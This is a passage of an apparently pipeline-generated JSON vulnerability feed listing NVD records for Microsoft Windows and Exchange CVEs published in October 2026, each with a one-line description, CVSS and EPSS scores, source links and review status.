exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78459","cveId":"CVE-2026-78459","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:54.187Z","updatedAt":"2026-10-16T16:21:03.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78459","asOf":"2026-10-16T16:21:03.503Z"},"epss":{"probability":0.00373,"percentile":0.30973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78459","type":"primary","publishedAt":"2026-10-13T19:19:54.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77910","cveId":"CVE-2026-77910","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.","summary":"Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.","detail":"Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:54.057Z","updatedAt":"2026-10-14T04:18:36.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77910","asOf":"2026-10-14T04:18:36.717Z"},"epss":{"probability":0.00867,"percentile":0.58457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77910","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77910","type":"primary","publishedAt":"2026-10-13T19:19:54.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77496","cveId":"CVE-2026-77496","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:53.657Z","updatedAt":"2026-10-16T16:21:03.017Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77496","asOf":"2026-10-16T16:21:03.017Z"},"epss":{"probability":0.00948,"percentile":0.60929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77496","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77496","type":"primary","publishedAt":"2026-10-13T19:19:53.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73027","cveId":"CVE-2026-73027","aliases":[],"kind":"vulnerability","title":"External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","summary":"External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","detail":"External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:52.197Z","updatedAt":"2026-10-17T04:16:53.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73027","asOf":"2026-10-17T04:16:53.320Z"},"epss":{"probability":0.00414,"percentile":0.35397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73027","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73027","type":"primary","publishedAt":"2026-10-13T19:19:52.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72969","cveId":"CVE-2026-72969","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:52.047Z","updatedAt":"2026-10-13T21:18:19.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72969","asOf":"2026-10-13T21:18:19.980Z"},"epss":{"probability":0.00307,"percentile":0.23262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72969","type":"primary","publishedAt":"2026-10-13T19:19:52.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72968","cveId":"CVE-2026-72968","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:51.880Z","updatedAt":"2026-10-16T16:21:01.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72968","asOf":"2026-10-16T16:21:01.710Z"},"epss":{"probability":0.00307,"percentile":0.23262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72968","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72968","type":"primary","publishedAt":"2026-10-13T19:19:51.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72955","cveId":"CVE-2026-72955","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:51.747Z","updatedAt":"2026-10-13T21:18:19.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72955","asOf":"2026-10-13T21:18:19.720Z"},"epss":{"probability":0.00314,"percentile":0.24067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72955","type":"primary","publishedAt":"2026-10-13T19:19:51.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72934","cveId":"CVE-2026-72934","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:51.613Z","updatedAt":"2026-10-13T21:18:19.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72934","asOf":"2026-10-13T21:18:19.600Z"},"epss":{"probability":0.00307,"percentile":0.23263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72934","type":"primary","publishedAt":"2026-10-13T19:19:51.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70580","cveId":"CVE-2026-70580","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.","summary":"Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.","detail":"Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:51.270Z","updatedAt":"2026-10-16T16:20:53.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70580","asOf":"2026-10-16T16:20:53.877Z"},"epss":{"probability":0.00346,"percentile":0.27909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70580","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70580","type":"primary","publishedAt":"2026-10-13T19:19:51.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70571","cveId":"CVE-2026-70571","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.830Z","updatedAt":"2026-10-14T04:18:35.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70571","asOf":"2026-10-14T04:18:35.963Z"},"epss":{"probability":0.01391,"percentile":0.72138,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70571&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70571","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70571","type":"primary","publishedAt":"2026-10-13T19:19:50.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70571&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70571, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70566","cveId":"CVE-2026-70566","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.","summary":"Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.","detail":"Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.653Z","updatedAt":"2026-10-16T16:20:53.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70566","asOf":"2026-10-16T16:20:53.640Z"},"epss":{"probability":0.00388,"percentile":0.32611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70566","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70566","type":"primary","publishedAt":"2026-10-13T19:19:50.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70343","cveId":"CVE-2026-70343","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.533Z","updatedAt":"2026-10-13T21:18:18.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70343","asOf":"2026-10-13T21:18:18.783Z"},"epss":{"probability":0.00912,"percentile":0.59763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70343","type":"primary","publishedAt":"2026-10-13T19:19:50.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70299","cveId":"CVE-2026-70299","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:49.883Z","updatedAt":"2026-10-13T21:18:18.213Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70299","asOf":"2026-10-13T21:18:18.213Z"},"epss":{"probability":0.00346,"percentile":0.27908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70299","type":"primary","publishedAt":"2026-10-13T19:19:49.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 